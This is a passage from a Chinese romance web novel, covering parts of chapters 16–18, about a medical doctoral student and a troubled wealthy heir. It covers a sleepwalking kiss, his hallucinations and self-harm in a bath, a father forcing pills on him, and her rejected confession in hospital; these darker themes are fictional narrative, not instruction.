就当是宠弟弟,让他在阳台钓着鱼了。
梁尔璐大大方方踏入家,可惜玄关设计与客厅宽阔对接,毫无视物障碍。
她只能靠滑稽走位躲避男人,一股脑地灵活闪进厨房,借助打开的冰箱门挡脸:“你做的猫饭都是什么口味?”
缕缕涌溢的冷气多少是模糊了对面的帅脸,她趁机稍微放任自己流露的羞赧。
“猫粮袋里有食谱。”
声线也帅,吃什么长的?
“那个U盘?不是你误放的重要资料?”梁尔璐终于想起来,“啊,本来我打算还你的,忘了。”
“OK,那你喜欢什么人饭?”
多了个不熟悉的人,满冰箱食材也完全挑不成,她头大得皱眉:“总之你过来看看,然后……你会做饭吗?给打点下手。”
凝神琢磨间,她迟钝察觉渐近的脚步停身侧。
“有一个会,有一个不会。”
“哪个跟哪个?”还有这说法?梁尔璐费解,正如夏天的蔬菜选来选去也就那些,“你吃芹菜不?胜瓜呢?和虾肉一起炒……”
炒个球!
会在床上做饭,到厨房就不会了。
是吧?
脸骤红,横竖都遮掩不住,她只管咬牙切齿地瞪视:“你又断网?没听说过厨房play?你肯定会啊,两个都会,不要太会哦?”
怎么有人可以既面红耳赤又从容不迫的?
笑容也乖顺,嗓音虽未见波澜,但语意可怜得惹人怜爱:“你别逃了,我饿了,整下午都帮你照顾猫。”
“我要给你做全素菜!”梁尔璐轻哼着怨怼。
说这种荤话作弄她,只是为了给她泡一盏绿茶喝咯?
其实某人想留下吃晚饭就直说啊?非得七拐八绕的。
可恶!
她还真爱吃这套!
没脾气了,她不争气地狠狠吃,往死里宠:“绿茶,闭嘴,挑菜。”
更何况。
他正在一点点将自己的模样剖露出来,让她了解。
*
简单搭配三菜一汤,梁尔璐顺手洗净厨具:“吃完不用收拾,我先去开个组会。”
依次递过砧板与刀,林瀚睿调小些水流,以免飞溅:“周汇报?”
“哇,你们课题组这样催命的?我导师大牛,就人民医院那院长,忙到只组织学期汇报,但寒暑假没做实验,需要按月汇报文献,按周也太……你可多吃点饭吧。”
看人悬空提着刀震惊,他兴致盎然地歪头多凝两秒,稍稍垂落眼皮,瞅她触到肘弯的乌黑长发:“每位大牛都有自己的脾气,起码不是一周几次。”
“一周几次的导师绝对在执行人类清除计划!okok,我回房间开会了。”摘掉胶质手套,梁尔璐脚步匆匆。
组会基本都需要个把钟头,但他还没吃够二十分钟的饭,就见她卧室门出现缝隙。
正捂嘴跑向客厅的人面色苍白,手、脸与部分发绺都濡湿,跌坐在沙发旁的动静并不算小,仓皇挪动茶几下方的医药箱,从一堆维生素药瓶中攥起B6片,发狠着倒出六片丢进水杯。
将虚软发颤的梁尔璐扶稳,林瀚睿急声:“哪儿不舒服?”
“恶心但是吐不出来。”
“不能吃!”
没时间关注她皱眉难耐干呕的神色,他当即夺过杯子:“一次两片,你疯了?”
“你懂什么,这药可以一次六片。”
“是,我不懂,但你听话好吗?”他反手把杯放去茶几,而情急之中只沾到边缘,顷刻间摔落。
撞向硬石地板的迸裂声刺耳,林瀚睿下意识揽她入怀护住,确保丝毫未被玻璃碎片溅伤。
视线交集梁尔璐半懵半忧的表情,他轻哄:“我没事。”
无非是大部分的水都泼到了他身上。
其实并不难形容她的精神状态。
冷静执拗,偏不信邪,本质上却完全崩溃。
如同此刻因病而彻底湿红的失焦双眼。
“我还要开组会,谁开组会不疯的?我从小到大没生过几次病,病了吃药又特别灵,这不算什么,我不想再去医院了,可以的,我可以开组会的。”
“胃粘膜肯定损伤了,血常规看不出来那种,我这辈子和三某仑不共戴天。”
“对,的确不能吃药,会更恶心的……不对,我之前准备了完全对症的药,也能空腹吃,在房间里。”
“公卫有洗衣机和烘干机,换洗衣服,我去给你找。”
字字清晰入耳,林瀚睿沉默望她步履虚浮的背影。
实在无法劝,对身体倍好的人来说,偶尔生一次病算是天大的打击。
更何况这倒霉家伙最近接二连三地躺病房。
绝对已经成了人生耻辱。
死都要和病对着干,开完组会的反骨劲儿……
犟种一个。
他起身出门,走下两层楼梯才拨了电话:“aunt,麻烦您和院长说一声,梁尔璐身体不舒服却坚持参与组会,嗯,我在旁边看着。”
强忍直冲心头的难受,梁尔璐翻出一套睡衣和新毛巾,转身时见会议中正委婉批评同学的导师被敲书房门的师娘打断,短暂离返后称临时有事,明天继续。
她寻思撞大运了,回客厅将物品递给男人:“你过来。”
挨靠厨房的流理台,她打开一小罐白色粉末,陆续拿勺子舀一些溶于杯内的温水。
听身侧盯看许久的好奇宝宝出声:“这什么?”
“中药,混合在一起的乌贼骨粉和浙贝母粉,治胃粘膜损伤的。”酒店那糟糕事情必须瞒着父母,她偷偷从家里顺来了。
略加搅拌,梁尔璐停动作,偏头抬望肩侧的男人,伸手示意他左边的一堵墙:“我是让你过来卫生间洗澡,去吧,我喝光就睡了,说实话今天这情况死不了,你洗完澡吃完饭,早点回家。”
一口气灌掉,她随意把杯子放进洗碗池,下意识微垂乏力的脑袋,五指搭扣着撑在台板边沿缓解恶心感:“拜拜啊。”
到卧室门的整段路,男人并未扶她。
真是够聪明,怎么看都顺眼。
但身体不适导致的浅眠始终保持在半梦半醒状态,甚至弱得被吵醒。
室内没开灯,单纯蔓延夜色。
照样畏光的视线迷糊,梁尔璐隐约发现是他开了房门。
她坐起,察觉走近的男人表情迷茫。
等等?
这是……爬床?
他多情的眼睛虽只剩木讷之色,倒是固执得很,嘴里一直重复轻嚷着“过来”。
虚得神志浑浑噩噩,梁尔璐根本没怎么听清他最开头的三个字音,又对他这模样不明所以,就怔怔伸过手。
面对面的距离,比白天沙发那会儿稍远一些。
仅仅是一些。
呼吸相交之间,男人竟就此十指相扣地牵住她,先后下了地。
是梦游。
梁尔璐悟了,这房子不干净?住过的人都倒霉生病?
改天得问问梁奕珩还活着没。
既然是梦游,她乖巧按照男人指着床的要求,躺进他所睡客卧的被窝。
其实可以叫醒梦游的人,但仍旧存在一定风险,除了受惊后逻辑混乱,应激反应产生攻击性,也会因梦游时想做的事被阻止而身体不适。
她放弃,可他再无动作,唯独站床边双眼无光地盯来。
说实话,挺吓人的。
梁尔璐琢磨自己也不能就这样睡着啊,万一这男人又游去做什么危及生命的事了。
好在他终于率先打破恐怖氛围,平淡询问她:“咁夜,你仲唔瞓嘅?”(这么晚你还不睡)
话落走向床尾,转看原本的站位,秒速皱眉,语气异常嫌弃:“这张床不舒服。”
随即迈相同的步数折返,低头凝视自己衣服,难以置信:“pink shirt!”
由吃惊变为忍笑,梁尔璐辛苦得很。
干脆就把这套断码才买大的粉色睡衣裤送他得了。
果不其然,男人继续游走。
沿路拿起空调遥控板、手机数据线与水杯,规矩摆放对面床头柜上,微俯了身专注调整,使三者构成一行直线。
兴许是觉着双手空荡,他居然直接把空调被扯起一些,傻傻紧抱怀中,滞顿几秒便松开,麻利钻进被窝。
窗帘留有缝,小区楼下长明的灯光漏溢。
床单处的凹陷感持续,梁尔璐弯唇。
他睡觉时也不喜欢将夜色全部挡住?
侧躺的卧位足够替人掖被子,而手腕因此被他软绵绵搭住,本应思考如何抽离的时间,被她用去傻愣着凝他睡颜。
夜黑。
梁尔璐支起些身,鬼使神差般偷亲了他的鼻尖。
不同于指腹轻点的触感。
她微咬仿佛仍存稀奇滋味的下唇。
而突然睁开眼,同她对视的男人依旧木讷,梁尔璐下意识松了口气。
他缓慢翕动的眼睫并未停止:“你那边被子够吗?”
瞬间心虚到极点,但她丝毫不敢动半分。
万一把他吵醒,目睹这个局面,双方势必都会尴尬得发疯。
她还想继续和平相处啊!
“嗯”唯恐虚颤的声线太轻,梁尔璐谨慎点头。
得到回应的男人没再握手腕,抬高了这抹微凉的体温,单根食指抚弄她唇瓣,充满试探意味地小力下摁。
并未不厌其烦地摩挲,指尖趁势挤入她因无措而微张的齿关,途经敏感生痒的口腔上颚,稍探深一些才取出。
湿意蔓延到耳际。
梁尔璐惊诧不已,被动的身体浑然忘了僵滞这一本能反应。
后颈由男人托扣的同时,他垂眼,片刻便欺身吻住唇,不知轻重地吮咬。
眸色茫然,却直白注视而来,惹得她羞意无处遁形。
疼。
但必须噤声。
16. 旧夏日(小修,看过的不用理)
仿佛湿热之地打开了风洞,男人撬抵在两列齿之间的拇指尖端没再深入,将偏凉的冷感体温丝丝漫渡进她牙内。
其余指节灼在耳后延淌的痒意不断,梁尔璐抑住不稳的气息。
白日里触摸了他脊椎骨的形状,彼时覆紧她的手掌极其用力,似乎要将她五指嵌入骨缝。
攥住的被褥布料平整,远远不如那处的嶙峋质感。
她稍抬腕臂,伸向他拢盖轻薄棉被的腰身位置,略微悬空之际迟疑,将落未落。
并非第一次两相凝视,但是第一次离他这般近。
以往通透的琥珀瞳孔趋于平淡,此刻竟是分明的稠浓,烈到泛深。
完了。
可走、留都不行。
心跳作急,她左右为难,男人重新施在唇上的发沉外力却不由分说。
牵连她犹豫他腰沿的手整个失稳,环去那弯凹陷弧度。
扑盈潮气的吻势照旧汹涌,而不见此前胡乱直莽的生涩疼感,甚至慢条斯理地往齿腔内试探,逐渐侵得放肆。
翻搅之余转为温柔的转圜,延续不止,令双方呼吸沁透,她时沉若浮,被扫荡得近乎窒息。
脖窝交蹭,吐露旁侧的热息愈加拥暖,男人喉结则宛如烧红的一枚铁,自上而下滚过她颤栗的颈线。
*
吃完就睡的狗东西。
拿冰袋小心地敷两瓣嘴皮子,梁尔璐怨怨蹙眉。
几十分钟过去,还没消肿多少。
若非担心他二度梦游,她也绝不会大半夜地搬把椅子坐人床边。
垂眼暗叹一声,对面传响窸窣音。
男人困倦支起些身子,长久未启的嗓音偏喑哑:“梁小姐?”
“林先生这是又梦见别的梁小姐了?怎么?醒来是我,不高兴?”乐意瞧他迷糊摇头的呆怔模样,梁尔璐收敛逗弄的坏念头,“你刚才梦游了,一直有这病情?”
直起的坐姿略显松软,他掀抬的眸中陆续递过纠结与恍然:“第一次,最近睡眠太差?”
察觉男人视线移去她随意摆在膝处的冰袋,梁尔璐相当自然地信口胡诌:“哦,我跟着你游客厅时,撞了墙。”
“对不起。”
有道歉的必要?
她当即摆摆手,因此距他更近了的腕骨遭攥紧。
跌坐床沿的猝然动静仍没怎么消失,梁尔璐只感到残留冰意的膝盖被摁住下压,浅显比较,擒握在这的五指散发阵阵温热。
夏季薄弱的睡裙软布根本无从抵挡。
几乎是同时,她啊声惊呼。
碰上她死疼的旧淤青了!
原来他是为这冒犯的举动道歉……
幸亏有真伤打掩护,不然还真骗不过。
林瀚睿及时撤了膝上的手,拦腰扶稳因痛而接连往外躲逃的梁尔璐,总算安分的她顺势抵靠了他肩角轻声呜咽。
娇。
他匆忙松开这过度的接触,下床:“我回家了。”
好在从门缝可知,她只垂头关注滚去床远处的冰袋。
*
深夜无人,别墅非一般静。
洗衣房的干洗机缓缓运作,林瀚睿紧捂双耳,试图隔绝分不清具体方向的重复女声——“痴心妄想!”
他彻底走不动路,缩挤墙角瘫坐,目眦欲裂般张望无人的四周。
余光瞥见大开的房门边出现父亲,语气平稳地连名带姓喊他。
可等再次抬眼,确定门口根本没人影,林瀚睿越是崩溃。
五指颤得剧烈,他伸手捡砸了地的手机,联系谢柏延:“药,幻听幻觉。”
而脚步声传来,一双家居鞋渐近。
林堇羲蹲下,摊开掌心。
“你妈咪说了什么。”
“Hendrix,你只应该向爹地拿药,来,咬碎,咽。”
顺手挂断通话,他饶有兴致,打量儿子皱眉止呕却依然咀嚼这极其苦辣的药:“喜欢她就娶回家。”
开药瓶倒出第二粒,林堇羲捏住他下颚,轻易地塞进齿关:“牙不乖,理应吃一点教训。”
被迫使仰脸对视,林瀚睿靠这喉咙所处的状态,直接咽药片。
他不耐烦地转头,垂眸强忍口中药味。
也不知皮肤是否留下指印,否则梁尔璐那傻瓜又要多想了。
攥过手机,他扶着干洗机起身,迈前的脚步属实虚浮:“既然我让您如愿愉悦,奖励是什么?建议您让助理去拍卖会买些正红色的珠宝,送给未来儿媳妇。”
想问清楚什么样的首饰最衬她,就正常点问,非得折腾他演一次臣服的姿态。
神经。
*
谢柏延赶到时,眼见好哥们衣衫整齐,浸溺在方形浴池中满溢的水底,十指掐脖,失焦般的双眼半睁,因窒息而严重泛红。
水性不错,却并未屏气,无法呼吸的唇口痛苦微张。
坐池子台沿看腻了濒死的鱼吐泡泡,他出手扯起林瀚睿:“光是确认活着,要这么久?我无所谓你泡一晚上,但手腕有烫伤,差不多行了。”
“你爸有病?”懒得多盯他颈处勒痕,谢柏延瞅全然湿透的纱布,“都已经出现幻听了,还不允许你看心理咨询师?”
“去追她,谈恋爱再怎么对心理疾病没疗效,在一起多多少少是能调剂心情的。”
流溢的水滴持续下淌,缓慢作响,代替双方沉默之间的计时。
林瀚睿捋高湿漉的额发:“她不喜欢和我这种程度的富家子弟谈。”
“为什么?想听,但你肯定不愿意说,我理解。”
“我现在处于躁期,有说话的欲望。”推翻谢柏延以为是郁期的判断,他走出浴池,“洗完澡就出去。”
淋浴间的玻璃沾满水汽,那药又能引起口干,烘得林瀚睿气息滚烫。
一年前,梁尔璐硕士毕业前夕,他被带去围观告白现场。
在经管学院第一个真心告白的勇士失败告终后,其余男性学生将攻略她这医学院粤妹视为枯燥学业之余的游戏。
算上那晚进行中的玩家,他是全院唯一没和她示爱的存在。
总归围观这种无聊事并不属于他的兴趣范围内,只得耐着性子给朋友面子,发表对这位万人迷的感想。
五官符合他的审美,至于人……
仅仅是神情慌张,接连后退,垂低了头一直道歉的反应。
据朋友称,她就这样一如既往得社恐。
而他给出的评价是——
所以她演技一直这么差,你们却深信不疑。
明明险些因戏弄傻子而笑出声。
干脆也没再装,抬眼倏地莞尔,眸色浓丽。
不疾不徐走近告白者的冷静,导致对方接连后退。
唇瓣弧度微微够露齿,笑得勾人。
眸子晶亮,惹些引诱的坏意。
周身气质蓦地生了锋芒,似把准时机,刻意现出獠牙的猎人,终于将真面目示众。
笑腔清甜却恶劣:“商学院作业太少?告白都能这样跟风?你们把喜欢和爱这种感情当什么了?开心吗?我已经陪各位爷玩了一年,真的对太子爷没兴趣,来吧,庆祝我提前一年毕业,再也不见!对了,请问商学院里还有哪个男的没来向我告白过?我明天就毕业了,让他抓紧点哦。”
哦。
是他。
惊觉丝毫没预兆就簌簌扑落的泪水,林瀚睿一时忘记该如何笑。
他渐次脱力,虚软扶着墙,完全掌控不了这反复无常的病态情绪。
*
碍于人生第二次睡男人的床而发生荒唐事,梁尔璐辗转反侧不得眠,轻揉眉心才接听硕士时期室友的微信视频通话。
喊出英文名前,占据画面的唯独是个男人。
别墅派对的背景音吵耳,两三点了,港城的少爷小姐们倒是够精神。
至于微笑打量她的家伙,曾经那商学院告白游戏玩家之一。
“乱动别人电子设备,手欠呢,剁掉就好,但我看你这两颗眼珠子也可以剜了。”贱东西少惹她……
“好久不见,你这张嘴还真是……有男人睡在你旁边吧,让他千万别介意你前男友深更半夜打视频电话,我只是特别想你。”
“神经。”梁尔璐冷脸挂断,随即害羞钻进被窝。
区区男人,根本比不上她的学业!
翌日,她化妆遮掩睑底因失眠生发的淡青,赶往父母家所在社区。
放假前,学校组织了博士下基层的暑期专业实践活动,选择深城部分社区,各派一名博士研究生,以公益讲座的形式为当地居民科普夏季中医养生。
实际坐在礼堂听的又囊括附近其余街道老百姓,结束后纷纷离席的人流远去,熟稔的
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男人身形却从中走来。
梁尔璐旋回半开的保温杯盖,放弃喝水润喉,五指抓过桌面的U盘,便劲直跑向他:“林先生!你来晚了,回家自己看PPT吧,但Q&A环节还是可以有的。”
“我们去面包店吗?”
这算哪门子问题?
她怔怔松开捏住U盘一端的手指,疑惑盯男人温隽面庞,倏地缓过神:“对啊,这个月都下旬了,我却只有两次反代购,走走走!”
黑伞吸收了不少的夏日高温,梁尔璐安逸换着另副隐形眼镜:“我也想问一个,弟弟为什么喜欢姐姐啊?明明有很多猫都只喜欢当独生子女的,你看这个!”
“特别夏天的海水蓝。”对他眨巴两次眼,她转头,继续往卷翘睫毛轻刷几抹不经意的泛闪蓝金,“我们去哪家面包店啊?”
好像可以不回答她第一个饱含试探性的问题……
林瀚睿佩服梁尔璐这思维跳脱的模样,偏转视线,凝她灿亮的睫羽翕动:“不远,已经网上预约,到店取。”
晓得了,是从她家那海景豪宅小区骑单车过去,只需十分钟左右的网红店。
她超爱!
收银台墙边的立式冰箱内放有日供免费饮料,今天是蓝莓主题。
她陆续喝完,用勺子舀最底部的蓝莓果酱,与冰块同时嚼。
愣瞅接过袋子的男人推店门,梁尔璐稍顿:“我认识……再跟老板聊几句。”
确保门缝合拢,她戴上痛苦面具:“这杯居然是酒,齁甜又好醉。”
实在太久没碰高度数酒,严重退化,这会儿脑袋阵阵发晕。
老板赶紧张望冰箱中百分百模仿烈性鸡尾酒外貌的多杯普通蓝莓冰饮,异常震惊:“那我家里那杯?对不起对不起!我这是把真的罗贝塔阿姨混进去了,酒精度特别高,这样……你拿这盒牛奶先解酒,我打120。”
“不用!”梁尔璐偏不服气,“酒精斗不过我!老,老板再见。”
“哎哎,小姐你能走……”
“能!”斩钉截铁松开门把,她步子虚浮地被男人扶,跟着坐去屋檐底的长椅。
接稳梁尔璐捧不牢的1L装酸奶,林瀚睿任由人双臂软绵绵环抱他腰,短瞥她耳朵弥漫的不正常红晕:“你刚才喝的是酒?”
“啊,是酒吗?”
难以忽略轻蹭在颈侧的发丝,他掰下一小口面包,递近她唇:“吃点解酒,牛奶要不要?去医院好吗?嗯?”
“对不起,我咬到你了,你手指尖尖好可爱啊……凉凉的,欸?那是什么?”梁尔璐迷迷瞪瞪,重新睁眼。
斜对面的警局门口远处停着辆劳斯莱斯,出了局子的年轻女人头戴宽大渔夫帽挡脸,谨慎走向后车座。
正是救她两次那个富哥的车。
“女朋友?”梁尔璐捂嘴低呼,“你看那辆车,开那豪车的人,什么来着?哦,也有一辆全球限量二十台的超跑,他还有女朋友!”
“女朋友?”
“嗯,他有女朋友的。”
没懂男人因何而轻笑反问,她微眨沉重眼皮,懒得多探究,便转头:“不知道,应该是有……”
谁知话遭打断。
他俯身吻来。
与车后排床窗边的父亲目光错开,林瀚睿垂眸注视双唇之间的大拇指。
近在咫尺的烫息交织,眼底是梁尔璐醉懵的迷茫五官,海蓝瞳仁如浪潮般漫涌,渐渐流淌漂浮不定的颤悠情愫,缓慢怯缩后被惊诧之色占据。
但也仅维持两三秒,很快就扯笑配合他。
浸润了酒气的唇瓣却因此不小心擦蹭到他的唇。
转瞬即逝。
迅速得她本人完全没意识到这起突发事故,甚至在他退开之际羞赧地捧脸撒娇:“北北,你是做给谁看的呀?”
糟糕。
眼前人逻辑清晰,可也足够犯浑。
黏糯过火。
林瀚睿乱了心。
他咬牙挪低视线,寻救命稻草似地查看手机语音信箱。
男声熟悉,是他向来都看不上眼的港岛公子哥之一。
【林大少爷贵人多忘事,你应该已经不记得之前医学院那女的了,就只剩你没表白的那个,我昨晚略施小计,用视频通话联系到,结果她死不承认大半夜刚和男人在床上亲热过,但凭我经验,那张嘴绝对是被亲肿的,挺激烈。】
17. 旧夏日
“对不起……”如同坍楼对撞般剧烈,双耳瞬间嗡鸣,林瀚睿脑子一片空白,毫无梦游相关记忆。
男人依然重复道歉。
奔溃的哭腔令梁尔璐消减大半醉意,愣愣凝视他在抗拒继续接触的神态下,却颤抖着来揪她衣角的手。
她干脆靠拥抱给予他安全感:“没关系的,你刚才借位了。”
而腰边几根指节的落势明显。
是昏迷了。
*
得亏面包店老板坚持拨打了120,阴差阳错地将男人及时送进医院。
梁尔璐没怎么深想急诊室医生一眼确定”他是A702那位,转病房”的实力。
毕竟这位能富养十九只猫,绝对是哪家少爷。
病床上的人异常弱气,眼眶被先前的泪水洇红,此刻恢复失了血色的苍白。
坐久陪护椅,她换另侧的扶手支撑肘尖,抿唇轻托脸颊,喃语:“所以你如果知道昨晚那样子亲我,准会出更大事故……可这有什么?我又不和你算账,梦游嘛,哪怕上床也并非出自你本意,你要是真把我睡到这程度,这根本不可能好吧?我早踹你下床让清醒清醒了。”
“总之亲亲抱抱就算了,放心,我会帮你保守一辈子秘密的。”
梁尔璐重重点头,垂眸解锁手机,通话对象秒接。
她压低嗓音,小声于床沿站起,佯装不满地笑嗔:“梁奕珩,你感情淡了,几天没找我?哦——才这么几天啊。”
穿过病房的两道门,她停在走廊。
“你搬出小区后有生病吗?那行,没错,我最近多倒霉?严重怀疑房子不干净。”与人结束玩笑,梁尔璐开了新话匣,“珩仔,我有一个毛病。”
“你得什么病了?去医院没?医生怎么说?”
紧促三连问惹得她忍俊不禁:“不是这种,是我社交方面的。”
“我会因为很难区分‘感兴趣’和‘喜欢’两种情感,不去定义刚认识且有好感的异性到底属于什么人,所以从一开始就绝不把他当成朋友,若是一旦被我定性为朋友,意味着再也没可能做我男朋友,反之同样,那么他只会是我的爱人。”
“你猜对了,非常抱歉,我们将近二十年的聚少离多,导致你在我心里连朋友都不是。”
梁尔璐稍顿,攥紧手机:“或者说,是已见分晓,但我判断失败。”
现在又多个尚无定论的男人,她只觉自己脚踏两条船……
耳际传声轻松的朗笑:“你也猜对了,我们是有青梅竹马基础的朋友,别怀疑。”
“怎么办?我控制不住地怀疑,我不知道啊,真的一点都不知道!先,先这样。”焦虑盘踞心头,身处安静的住院部走廊,梁尔璐极力控制情绪,匆忙挂断电话。
长期达成的旧认知一朝倾覆,她顿觉崩溃。
不是的。
不是的!
没人能将她的逻辑下定论。
收敛失魂落魄的状态,梁尔璐回病房。
客厅壁挂的钟盘规律嗒响,她迟迟不往下摁压门把手。
喜欢吗?
所以无所谓kiss?
难说。
她自认道德感并未过度理想化,尤其初吻这种浅层次的小事,太甚在意纯属浪费时间。
思绪暂时明晰了点,梁尔璐松口气,进屋抬头的刹那,她与醒转坐起的男人交汇视线。
像先发制人,他投来的笑容劲直扼住她面部表情。
扯出略微僵硬的唇角弧度,她重新迈步:“你还好吗?”
“不好,被你打电话吵醒了。”语调平静地抱怨……
鉴于这人骗她的前科,梁尔璐撇嘴:“难道不是在我自言自语之前已经醒了?”
是。
她亲昵聊电话的背影历历在目。
林瀚睿深些笑意:“没骗你。”
可惜无名无分,他没资格发疯。
只能习惯性地丝滑演戏:“刚才是做给我家人看,坚决抵制相亲。”
见她弯眼眉,在临近他腿的软乎被褥位置坐下。
和当年告白现场如出一辙的笑。
勾人的甜中藏了坏心思。
梁尔璐缓声:“林先生,话要说清楚。”
“刚才做的什么?”
持续
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凝看男人无波双眸的目光微微俯低,她提悬指尖,如蜻蜓点水般轻触了他的唇瓣:“是这个吗?”
复又抬头,望着此刻放任她胡闹的温柔面容:“或许,我们谈恋爱?”
言辞倒是截然不同的决绝:“梁小姐,我们适合做朋友。”
注意力被影响,梁尔璐瞥见他状若无意的举动。
朝右边倾侧了五指握的玻璃杯,幅度极其浅显,内壁水痕仅仅细微上漫。
他们谈恋爱会像玻璃碎片那样危险?
他不能再像昨晚那样百分百护住她?
梁尔璐皱眉,急于求证自己的揣度:“意思是你也想?但没办法。”
她不明白男人的沉默代表什么。
只是持续地含笑注视她,神色仿佛由手中那杯温水氲暖。
深情眼似一汪泛起漪澜的海:“我不喜欢你。”
“那你没饭吃了。”歪头挑衅,梁尔璐离床三步远,“这是你淹死我的惩罚。”
“淹死?”
哦呦,此时此景还笑这么摄人心魄呢?
坚决抵制诱惑!
懒得管他理解与否,她扒门缝探出脑袋,略鼓腮帮子:“拒绝我第一次告白的林先生,劝你晚上别睡太死。”
失败没关系,预告必须宣布。
保温中的饭菜丰盛到偏向私人口味,梁尔璐琢磨着拨通导师电话:“师叔,医院什么时候开始提供客制化病号餐了?没没!这次不是我睡A702。”
“好吧,是我想少了,大少爷的营养师和厨师好辛苦……那您忙。”
往回拧一半盖子,她停手查看少爷发的微信消息。
什么叫“务必把饭吃完”?
“闭嘴,我说不给你饭吃是骗人的吗?”再心虚也不能输气势,她发送了语音便往桌面倒扣手机。
“再聪明,思维逻辑也依旧免不了俗,告白就必定因为喜欢?”
瞅望对面不透明的门,梁尔璐哼声。
求暴富的生日愿望暂且搁置,横竖都得在这男人身上许第二个愿望。
她想要——
林北北真心实意地吻她。
18. 旧夏日
其实她不喜夏天出门,本就燥得食欲不振,胃又因药物副作用而间歇犯病。
但毕竟应承了梁奕珩的父母,必须趁热打探消息,完全顾不上吃饭,梁尔璐马不停蹄赶去大学城的美术馆。
不怪人当爹妈的怀疑儿子出于恋爱脑,才在博士毕业后毅然放弃央美留校就职机会,选择广美。
她记得好兄弟之前买票时提过,是和朋友约了看展。
接过一楼奶茶店员工给的粉嫩手提袋,她从中取拆六个方形银色自封袋,自胶条处一一倒出内部的七月银色情人节限定礼品。
按照用银戒指订婚的节日习俗,店家同时糅合网络流行的“猫狗文学”,买任意两杯奶茶会送一枚随机样式的像素风动物串珠戒指,猫狗各占三款。
梁尔璐主打一个豪赌,怒买六份套餐,远程投喂了五个朋友。
好在因此集齐戒指全图鉴,她能静下心跟踪梁奕珩。
不远处正检票入馆的男人倏忽有转身迹象,她赶紧躲入墙后,鬼鬼祟祟张望之间,眼见俩女人怪异打量来。
梁尔璐顺势低头瞅自己,无非就是把习惯性的港风穿搭及妆容全换成了首次露面的暗黑系,特地回家搬出一套闺蜜以前送的同风格花嫁lo裙,毕竟要执行间谍行动,能紧急靠夸张的头纱挡脸。
内搭的全白鱼尾裙挺适合日常穿,但墨色纱质罩裙的摆上缀垂了偏长飘带,她迫不得已穿十厘米粗高跟。
稍抬腿放松乏累的脚,梁尔璐追到离美术馆入口更近的女人们面前:“我来抓出轨的男朋友!麻烦先让我进……”
去?
她二话不说转身:“你们先你们先。”
后边那谁不应该在医院?
糟糕,林北北肯定觉得自己遇见前一秒和新男人告白失败,后一秒就抓出轨男朋友的绝世渣女了。
是祸躲不过,她凑人肩旁:“林北北,你听我解释!”
撑开两个随行私人医生强塞进手的遮阳黑伞,林瀚睿偏头笑看仰抬着的惹急五官:“林北北?”
远比“珩仔”亲热得多。
“你不喜欢啊,那我以后不叫了,对不起,本来也只是口误。”紧张时嘴笨得梁尔璐百般嫌弃,她垂眼抚摸鼻尖,清嗓后试探望向他疑似并未生气的平静侧脸,“但是你要听我解释的?”
应声的鼻音轻却柔。
她小力揪住男人扎系在细窄腰间的黑衬衫,扯攥他卷起的袖子边缘:“脚疼……今天的我是过情人节的单身僵尸新娘,你是林神仙,下凡来抓僵尸,谁知道正好就碰上我了。”
“大概率你僵尸片看少了,我只是神仙,会有另一个请神上身抓僵尸的道士,不过……”
刚才那么直接地拒绝告白,她记一辈子!
“不过什么?你不喜欢我,所以必须抓我?”
“僵尸是我们中国特产,你穿这么洋气,为什么不是西方的吸血鬼新娘?”
值得探讨的好问题。
可衣服名称带了“僵尸”二字,关她什么事。
握稳他伸过的伞,她瞧男人停步,从搭在手臂的西装外套口袋中拿出个同样黑的长方形超薄盒子。
想起美术馆设置的检票处,梁尔璐恍然大悟:“你身份证放这啊。”
“嗯。”男人掀眸,凝来与烈日光晕相较,温温闪淌笑意的瞳孔神采。
“容量够放几张卡?发我链接,感觉特别实……”等完全打开,她语塞,“用?”
谁能告诉她为什么最中间的立体装置架,高托着一枚奶茶店的情人节限定戒指?
发愣期间,男人已陆续集合另外五个机关盒,于掌心堆整齐这十厘米不到的一叠,递向她。
“特别不实用,办张卡也放不进。”寻思车库两辆车内的五名保镖、两位医生正在不均匀分配十二杯奶茶,林瀚睿信口拈来,“我猜拳输了,给七个同事请客,所以只有你一个女性朋友可以被送可爱戒指,再廉价到底也是水晶和玉石,扔了会让别人捡到我全款一次无重复的运气。”
迟钝收下戒指的梁尔璐错愕盯他,显然无话可说,他重新取回伞柄,照旧放缓了步子前行:“你这种发量,三伏天披头散发,不热?”
关键字炸入耳朵,梁尔璐瞬间站住,睁大眼后退:“头,头……头发!”
落荒而逃不成,反被男人攥来手腕,定定将她留在伞沿,足够掩去灼烫夏感的阴影,匆忙而劲直往她的位置倾斜。
“头发怎么了?我要知道。”
根本不敢用红热的脸面对他,梁尔璐低头试图挣脱:“那我就非得告诉你吗?我,我不喜欢别人碰我头发!你上次医院……总之下不为例!”
趁意料之外的利落松手力道,她不顾脚疼,飞跑去提前检票。
彻底关闭了储物格的门,她仍觉抓过戒指盒的掌心异常发烫。
*
展厅空旷,适配氛围的轻音乐悠缓,她穿在走廊,与拐过弯角的梁奕珩相视而笑。
“你不是说约了人一起看展的吗?”
“尔璐妹妹,你这么在意?”男人胳膊受了打趣之后挨的假拳头,破绽满堆地装疼,“他主要是去看同一栋楼里另外两个跟油画相关的展,我只看综合材料绘画,原本约好在这碰头,但最近吵架了。”
“男的。”
究竟是男是女谁知道?
梁尔璐撇嘴控诉他刻意停顿的笑腔。
“虽然答应了我爸妈,但你没必要真给跑腿,胡编乱造敷衍结束。”
“那我真心祝梁讲师早日评上教授,喂,你猜猜我的职业规划?”到底是严重的聚少离多,她还蛮好奇梁奕珩对自己的了解程度。
“首先,作为中医世家传人,你倾向一辈子待中医馆坐诊,当纯粹的中医;其次,你的论文、科研实力属于天赋型,所以也想冲三甲医院的主任医师职称;最后,你懒。”
“哎呀,走一步看一步嘛。”
“哎呀,走一步看一步嘛。”
她尤其喜欢这异口同声的默契:“满分答案,满分!珩仔,你观察人类的本领不错啊。”
“怕你找别的仔代替我。”
忽略男人调笑的语气和神态,梁尔璐隐隐从他本就没什么攻击性的斯文五官中瞧出可怜劲儿。
那种……
长期压抑自身诉求,一味沉默着乖巧听话的懂事。
读书多年,她见过不少这类同龄人。
稍加回忆梁奕珩某些尽显好脾气的言行举止,更是明显。
想多了也罢,无论如何,她都打算回应他这句匮乏安全感的呼救:“别怕,信我。”
“搞笑女煽情时刻。”
梁尔璐闻声,瞪视正笑望她的男人,扭头收敛正经的严肃脸:“狼心狗肺!你还拍我!”
“不丑的,气鼓鼓很可爱。”
“发我。”
勉强瞥看递近的手机屏幕,她多哼一声,低头等原图加载的进度条满格,余光扫见精致繁杂的裙摆。
